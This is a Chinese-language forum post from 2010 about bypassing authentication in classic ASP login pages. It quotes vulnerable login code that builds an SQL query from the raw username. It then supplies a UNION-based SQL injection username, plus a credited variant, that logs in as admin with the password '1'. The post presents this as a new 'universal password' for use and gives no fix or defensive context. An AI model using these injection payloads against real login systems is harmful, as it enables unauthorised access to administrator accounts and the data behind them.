找回密码
 注册
搜索
热搜: 回贴

新型万能登录密码

2010-1-31 08:12| 发布者: admin| 查看: 173| 评论: 0|原作者: 江海

网上有很多这样的登陆验证代码
<%
username=trim(Request.Form("username"))
password=trim(Request.Form("password"))
sql="Select * FROM admin Where user='"&username&"'"
Set rs=Server.CreateObject("adodb.recordset")
rs.Open sql,conn,1,1
if rs.eof then
checksysUser=FALSE
else
passwd=trim(rs("pwd"))
if passwd=password then
Session("admin")=username
checksysUser=TRUE
else
checksysUser=FALSE
end if
End if
rs.close
conn.close
if checksysUser=true then
Response.Redirect("main.asp")
else
errmsg="用户名输入有误,请重新输入!"
end if
%>
先在数据库中查询用户名对应的密码,然后再和用户输入的密码对比,导致'or'='or'这样的万能登陆密码失
效.但如果在上面的程序中,用户名输入' UNION Select 1,1,1 FROM admin Where''=',密码输入1,就可以登陆成功,原理很简单,就不多说了.顺便附上oldjun的语句:' UNION Select 1,1,1 ASpwd FROM admin Where ''='

最新评论

相关分类

QQ|小黑屋|最新主题|手机版|微赢网络技术论坛 ( 苏ICP备08020429号 )

GMT+8, 2024-9-29 13:30 , Processed in 0.099168 second(s), 12 queries , Gzip On, MemCache On.

Powered by Discuz! X3.5

© 2001-2023 Discuz! Team.

返回顶部